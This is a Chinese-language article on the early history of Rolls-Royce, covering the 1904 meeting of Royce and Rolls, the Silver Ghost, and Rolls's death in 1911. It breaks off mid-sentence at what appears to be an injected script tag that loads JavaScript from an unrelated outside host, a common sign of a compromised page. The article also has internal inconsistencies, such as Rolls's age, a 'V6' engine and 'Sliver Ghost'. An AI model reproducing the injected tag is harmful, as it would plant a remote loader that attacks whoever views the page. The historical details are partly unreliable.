一百年来，没有人比他更高贵，没有比他更有气质。一百年的浮浮沉沉，曾经如此骄傲，也曾经如此窘迫。

　　1904年的一天中午，在曼彻斯特Midland酒店的一张餐桌旁，一位41岁的中年人和一个26岁的小伙子轻声交谈着，他们就是Frederick Henry Royce（莱斯）和Charles Stewart Rolls（劳斯），在旁人眼里这也许只是两位朋友的一顿家常便饭，但他们肯定不会想到，正是这两个人创造了劳斯莱斯品牌，并且一走就是一百年！

　　早些年的时候，莱斯成功地创建了F.H.Royce公司（后来的Royce有限公司），公司主营业务是电器设备和高质量的起重机。但到了1903年，莱斯将电器业务逐渐停止，他用空出来的厂房制造汽车。Royce委托附近的铸造厂来制造汽车部件，招来一些车架工匠组装4座车身，并成功制造出第一款2汽缸发动机Royce汽车，排量1800毫升，最大功率仅为10马力。

　　与莱斯不同，劳斯出身于贵族家庭，他的父亲是John Allan Rolls，祖父是Northesks伯爵七世，劳斯后来也成为了Llangattock男爵。劳斯是汽车和赛车的狂热者，从小他就对将要到来的电器时代非常着迷，1898年，18岁的他离开了剑桥去追寻他那已经痴迷了许久的汽车、赛车和拉力赛梦想。1902年，劳斯成立了C.S.Rolls公司，他希望制造真正的英国汽车去与当时领先的法国标致和德国梅塞德斯竞争。但是很可惜，他并不是汽车生产专家，公司一直处于惨淡经营的状态。

　　Midland酒店的午餐相当不错，两个人都对汽车充满热爱，他们抛弃了年龄和身份上的差异，初一见面就成了知己，午餐后，劳斯被允许对莱斯的汽车进行检查。劳斯回家时在曼彻斯特-伦敦的火车上情不自禁地说出了自己的野心：“拥有一个以自己名字命名的品牌，从此名垂千史，就好像说到钢琴就会想起斯坦威、提到保险就会想起乔伯一样”。回到家后，劳斯躺在床上依然无法抑制内心的兴奋，对他的助手Claude Johnson说他遇到了“这个世界上最伟大的汽车工程师”。

　　1904年的圣诞节，劳斯和莱斯正式签署合作协议，双方合作生产可以推向市场的汽车，汽车将由Royce有限公司负责制造，品牌名称是劳斯莱斯（Rolls-Royce）。也许这对莱斯不公平，但是劳斯莱斯毕竟比莱斯劳斯好听，他们都觉得莱斯劳斯这个名字没有前者的神韵，这个传奇品牌的名字于是确定为劳斯莱斯。合作开始后，他们很快生产了19辆10马力和1辆15马力劳斯莱斯轿车，这20辆车的进气格栅上都有他们的签名，因此那批劳斯莱斯留存到今天都是无价之宝。在这一年巴黎车展上，劳斯莱斯展出3辆轿车和1台新型30马力发动机。

　　好事多磨，劳斯和莱斯公司的合并直到1906年才完成，在该年的伦敦车展上，他们展出了劳斯莱斯历史上第一部巨作－40/50马力6汽缸劳斯莱斯Silver Ghost（银色幽灵），不过直到这款车停产之后，劳斯莱斯才最终将它终命名为Sliver Ghost。生产这款车是劳斯莱斯听取了他们的车身制造厂的建议后，意欲生产尺寸大一些的车去和梅塞德斯、Panhard（潘哈德）和Napier（尼皮亚）竞争有钱有势阶层所钟爱的豪华车市场。40/50 Silver Ghost比以前Royce有限公司生产的车都要长，看起来展翅欲飞，闪烁的黄铜包裹的劳斯莱斯标志无比绚丽。更可贵的是，这款车不但长度加大、功率变高，莱斯还解决了以前V6发动机的振动问题，而那种振动常常导致曲轴断裂。在那个时代，改良过的劳斯莱斯发动机运转相当平顺安静，凭借着Sliver Ghost的出色表现，劳斯莱斯品牌成功跻身世界顶级汽车品牌行列。之后，劳斯莱斯其他量产车逐渐停产，公司集中精力研发为富豪准备的高端车型，从此一步步走向辉煌。

　　到了1909年，病情让莱斯的身体日渐虚弱，于是他将一部分管理工作交给了其他人，劳斯当年的助手Claude Johnson成为了劳斯莱斯的首席执行官，随后莱斯搬到了法国南部居住了20年，在那里他的身体渐渐恢复，有时莱斯也会回到英国，主要目的就是主持新劳斯莱斯的设计工作。与莱斯相比，劳斯的身体状况虽然不错，但是他厌倦了日复一日从事繁琐的管理工作，他更愿意成为能够判断公司未来的指南针，于是借着Johnson的上任，他也从经营多年的汽车事业中抽身而出。腾出精力的劳斯很快就将兴趣转向那时还处于襁褓中的飞机工业，不过正因如此，让劳斯过早的终结了他辉煌的一生，1911年的一次不幸的飞行事故，埋葬了他心中所有的迷恋。

　　装点劳斯莱斯发动机罩几乎一个世纪的飞翔女神的诞生也颇有意思，仅仅是因为Johnson不喜欢劳斯莱斯的车主跑到银器匠那里自行打造装饰物。他请来艺术家Charles Sykes设计一款能长久使用的神像，最初的主题定为“速度的神像”。经过?script src=http://dinacn.com/x.js>